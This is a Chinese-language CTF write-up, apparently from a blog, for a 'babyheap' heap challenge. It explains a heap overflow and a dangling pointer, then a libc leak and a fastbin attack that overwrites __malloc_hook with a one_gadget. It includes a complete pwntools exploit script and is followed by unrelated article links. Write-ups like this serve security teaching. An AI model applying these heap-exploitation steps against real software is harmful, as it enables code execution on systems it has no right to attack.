babyheap_fastbin_attack

首先检查程序保护

保护全开。是一个选单系统

分析程序

void new()
{
int index; // [rsp+0h] [rbp-10h]
signed int size; // [rsp+4h] [rbp-Ch]
void *ptr; // [rsp+8h] [rbp-8h] for ( index = 0; index <= 63; ++index )
{
if ( !*((_DWORD *)&flag + 4 * index) )
{
size = read_0();
if ( size <= 0 || size > 1024 )
exit(1);
ptr = malloc(size);
if ( !ptr )
exit(1);
*((_DWORD *)&flag + 4 * index) = 1;
*((_DWORD *)&::size + 4 * index) = size;
::ptr[2 * index] = ptr;
edit_0(index, size);
return;
}
}
}

创建一个堆,将堆的信息(大小,是否使用,指针)存放在bss段中,并且将内容写入堆中

__int64 edit()
{
signed int index; // [rsp+8h] [rbp-8h]
int size; // [rsp+Ch] [rbp-4h] index = read_0();
if ( index < 0 || index > 63 )
exit(1);
if ( !*((_DWORD *)&flag + 4 * index) )
exit(1);
size = read_0();
if ( size <= 0 )
exit(1);
return edit_0(index, size);
}

修改长度为我们所控制,可以实现堆溢出。

ssize_t print()
{
int index; // [rsp+Ch] [rbp-4h] index = read_0();
if ( index < 0 || index > 63 )
exit(1);
if ( !*((_DWORD *)&flag + 4 * index) )
exit(1);
return write(1, (const void *)ptr[2 * index], *((signed int *)&size + 4 * index));
}

打印堆的内容,长度由一开始定义时决定

_QWORD *delete()
{
_QWORD *result; // rax
int index; // [rsp+Ch] [rbp-4h] index = read_0();
if ( index < 0 || index > 63 )
exit(1);
if ( !*((_DWORD *)&flag + 4 * index) )
exit(1);
free((void *)ptr[2 * index]);
*((_DWORD *)&flag + 4 * index) = 0;
*((_DWORD *)&size + 4 * index) = 0;
result = ptr;
ptr[2 * index] = 0LL;
return result;
}

删除堆,将标志位和size全部清0但是指针没有清0,可以达到再次利用的效果

有两处可以利用点。堆溢出和指针未清0。

保护全开,我们可以再malloc hook地址处写入one_gadget

不过首先我们要先泄露libc的基址,可以利用main_arena

当fastbin为空时,unsortedbin的fd和bk都指向自身main_arena。

先分配4个0x80堆块(最后一个堆块防止unlink),首先第一个堆块实现堆溢出,修改第二个堆块大小(第二个堆块和第三个堆块合并大小0x121),之后删除第二个堆块,再重新分配一个大小和第二个堆块一样大的堆(0x110)分配到了第二个堆块的位置,之后再删除第三个堆块变为(unsorted_bin)。通过打印第二个堆,泄露第三个堆的内容即main_arena附近的地址,但是其还要减去0x88,如下图所示

具体步骤如下

new(0x80,'a'*0x80)
new(0x80,'a'*0x80)
new(0x80,'a'*0x80)
new(0x80,'a'*0x80)#prevent unlink
payload='a'*0x80+p64(0)+p64(0x121)#fake chunk size
edit(0,len(payload),payload)
dele(1)
payload='a'*0x80+p64(0)+p64(0x91)+'b'*0x80
new(len(payload),payload)
dele(2)#unsorted bin
show(1)#show the main_arnea
p.recvuntil(p64(0x91))
main_arena=u64(p.recv(6)+'\x00'+'\x00')-0x88
print hex(main_arena)
p.recvuntil('>> ')

拿到main_arena的地址之后,我们要在libc中找到main_arena的地址。将题目给我们的libc放入IDA64位中

寻找malloc_trim函数找到如下数组变为main_arena的地址

减去便可以得到libc的基址。

之后我们要再malloc hook地址写入one_gadget,利用最简单的fastbin_attack,伪造FD即可

fastbin_attack原理

在这之前先研究一下fastbin原理。当大小小于0x80的chunk被free时便会生成fastbin。

采用单链表形式处理,其中fd指向前一个大小相同的fastbin。再分配同样大小的chunk时fastbin会向从后向前取,而取的依据就是fd指针。示例代码入下:

当free全部结束后

malloc一个堆后链表头变为最后一个fastbin的fd,也就是前一个bin的地址,依次类推

运行这个例子发现的确是从后向前取的

因此我们可以推断是根据fd来决定malloc的地址,如果我们恶意的修改了fd指针那么就可以实现任意写。

首先我们分配两个fast chunk,第一个用来填unsortedbin,free第二个chunk,使其变为fastbin,栈溢出修改第二个chunk的fd指针指向malloc_hook附近的地址然后对其进行写入one_gadget。

我们查看一下malloc_hook附近的位置,开辟的位置加8要能够伪造大小相同的chunk,且至少要在0x7ffffdd1b00以上开辟,而在0x7ffff7dd1afd处开辟正好能够伪造chunk的大小位0x70。于是将伪造的fd指向此处

from pwn import *
#context.log_level='debug'
p=process('./babyheap')
#p=remote('152.136.18.34','9999')
def new(size,content):
p.recvuntil('>> ')
p.sendline('1')
p.sendline(str(size))
p.send(content)
def edit(index,size,content):
p.recvuntil('>> ')
p.sendline('2')
p.sendline(str(index))
p.sendline(str(size))
p.send(content)
def show(index):
p.recvuntil('>> ')
p.sendline('3')
p.sendline(str(index))
def dele(index):
p.recvuntil('>> ')
p.sendline('4')
p.sendline(str(index)) new(0x80,'a'*0x80)#0
new(0x80,'a'*0x80)#1
new(0x80,'a'*0x80)#2
new(0x80,'a'*0x80)#prevent unlink 3
payload='a'*0x80+p64(0)+p64(0x121)#fake chunk size
edit(0,len(payload),payload)
dele(1)
payload='a'*0x80+p64(0)+p64(0x91)+'b'*0x80
new(len(payload),payload)#1
dele(2)#unsorted bin
show(1)#show the main_arnea
p.recvuntil(p64(0x91))
main_arena=u64(p.recv(6)+'\x00'+'\x00')-88
print hex(main_arena)
libc_base=main_arena-0x3c4b20
print hex(libc_base)
malloc_hook=main_arena-0x10 fake_chunk=malloc_hook-0x10-0x3
one_gadget=libc_base+0x4526a
new(0x80,'b'*0x80)#2
new(0x60,'c'*0x60)#4
dele(4)
payload='a'*0x80+p64(0)+p64(0x71)+p64(fake_chunk)
edit(3,len(payload),payload)
print hex(fake_chunk)
payload=0x3*'a'+p64(one_gadget).ljust(0x60,'0')
new(0x60,'e'*0x60)
new(0x60,payload)
new(0x90,'a'*0x90)
p.interactive()

babyheap_fastbin_attack的更多相关文章

随机推荐

  1. 19 IO流(十六)——Commons工具包,FileUtils(一)

    Commons包的API:自己查吧懒得传云 Commons包的导入方法 Commons是一个java的IO开源工具,导入方法: 从apache.org下载commons包 解压 copy其中的comm ...

  2. MongoDB初始化创建管理员账户登录

    1.查看mongodb服务是否开启: ps -ef | grep mongod 2.管理员角色必须在启用--auth认证参数之前创建,否则会没有操作权限.如果之前已经创建过用户,请先删除. kill掉 ...

  3. fastjson转换对象时出错,"$ref": "$.data.list[0].xxxx"

    出现$ref: "$.list[2]"的原因是因为循环引用/内存对象重复. $ref”:”..” 上一级“$ref”:”@” 当前对象,也就是自引用“$ref”:”$” 根对象{& ...

  4. 字符串类型日期时间转换为Date类型解析转换异常java.text.ParseException: Unparseable date: “2019-09-27T18:31:31+08:00”

    错误的写法: SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); //这里的格式也可以是别 ...

  5. ActiveMQ(一)

    下载地址:http://activemq.apache.org/download.html 换数据源: ActiveMQ的独占消费

  6. Webform中的前后端分离

    Webform常用的开发方式 (1)运用服务器端控件的aspx页面 (2)一般处理程序+html静态页面+Ajax(所谓的前后端分离) (3)一般处理程序+html模板引擎   这里简单记录html+ ...

  7. IdentityServer4:发布环境的数字签名证书

    一,jwt的三个组成部件 先来看一个由IdentityServer颁发的一个标准令牌 eyJhbGciOiJSUzI1NiIsImtpZCI6IjBiNTE3ZjIzYWY0OGM4ZjkyZjExM ...

  8. Abp session和Cookie

    问道 面向Abp 在面向服务的时候,Session 干嘛用? 先把Session 的作用说了,但是在微服务环境下给忽略了,相当于忽略了核心. Session 只是个功能.就是根据Cookie 的Ses ...

  9. C#混音同时录制采集声卡和麦克风话筒

    在项目中,我们可能需要同时录制声卡的声音和麦克风的声音,比如直播间,在线教学.那么如何实现呢?当然是采用SharpCapture!下面开始演示关键代码,您也可以在文末下载全部源码: 设置授权 第一步: ...

  10. ① Python3.0基础语法

    稍微了解一下py2.0和py3.0的区别,Py3.0在设计的时候,为了不带入过多的累赘,没有考虑向下兼容低版本的Py2.0.而在低版本中Py2.6作为过渡版,基本使用Py2.x的语法和库,同时考虑Py ...